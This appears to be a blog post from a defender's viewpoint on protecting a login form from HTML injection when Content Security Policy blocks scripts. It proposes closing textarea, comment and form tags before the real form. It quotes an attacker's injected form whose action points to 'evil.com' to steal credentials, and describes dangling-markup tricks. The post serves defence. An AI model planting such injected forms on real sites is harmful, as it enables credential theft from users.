Imagine that a hacker has managed to inject HTML into Facebooks login page. Extremely serious. But, to Facebook's advantage Content Security Policy (CSP) is in use and does not allow inline scripts nor scripts outside of Facebook's origin (
.*facebook.com). From the blue teams perspective, how can we build a protection against this?
facebook.com +---------------------+ | | Hacker can inject here------> | | | | +-----------------+ | | | LOGIN FORM | | | +-----------------+ | | | +---------------------+
I was reading Mathias Karlsson's blog post on Detectify labs (CSP: bypassing form-action with reflected XSS) when I figured out a protection against the situation. In the blog post Mathias makes an example where there's a reflective XSS above a form. With reflective XSS it's possible for the hacker to inject HTML-data that will be rendered by the browser.
In our example with Facebook the attacker can only use HTML. The hacker has a few options:
- Inject a new form pointing to evil.com so the hacker can steal credentials
- Inject a
<form action="http://evil.com">so the hacker can steal credentials
- Change the look of the website in order to trick the user
So with other words pretty serious stuff even if CSP is in use.
Close the tags!
The solution to this is
<!-- ´'"/>); --></textarea></form> and let me explain how it works.
First of all we close
<textarea> because the hacker can use this in order to "comment out" the rest of the HTML. The attack without protection would look something like:
The hacker can do the same with
<!-- (HTML-opening tag) and it would look cleaner.
If we put
</textarea> before the real form, we would get this (notice line 7):
`'"/>); inside of the HTML-comment will protect against attacks where the hacker dosen't close the
value attribute in a form (other examples exist as well). For example, this:
Notice line 2 and how the
action attribute is not closed, so the rest of the HTML will be used as URL where the POST-data is sent too. Also, the value of the input (password) will be in GET once the form is submitted so the hacker will be able to read the password.
Lastly, we have
</form>. With this tag we can close the hacker's form which will make it difficult for the hacker to control the real inputs and form. An attack and prevention would look like:
In the above example the hacker just need to inject a
<form> - tag with the
action attribute set pointing to an evil site. The hacker's payload does not have an enclosing
<form> - tag because it will use the real form's (the one at line 7 above).
The reason why this prevention works is because the hacker can't control the real form. Because we close all forms on line 4 before the real form, any values (such as
action) can't be controlled.
Summary and last words
<!-- ´'"/>); --></textarea></form> before
Another protection could be to use dynamic names and ID's in your forms. With CSP you can use
form-actions set to 'none' or 'self' to reduce the attack surface.
This article was very much inspired by Github's solution. Github uses
<!-- </textarea> --><!-- '"´ --> - however, based on my testing this solution is not an enough protection against the above situation. With that said, I also believe that my solution can be improved as well, and if you have any ideas you can hit me up at Twitter.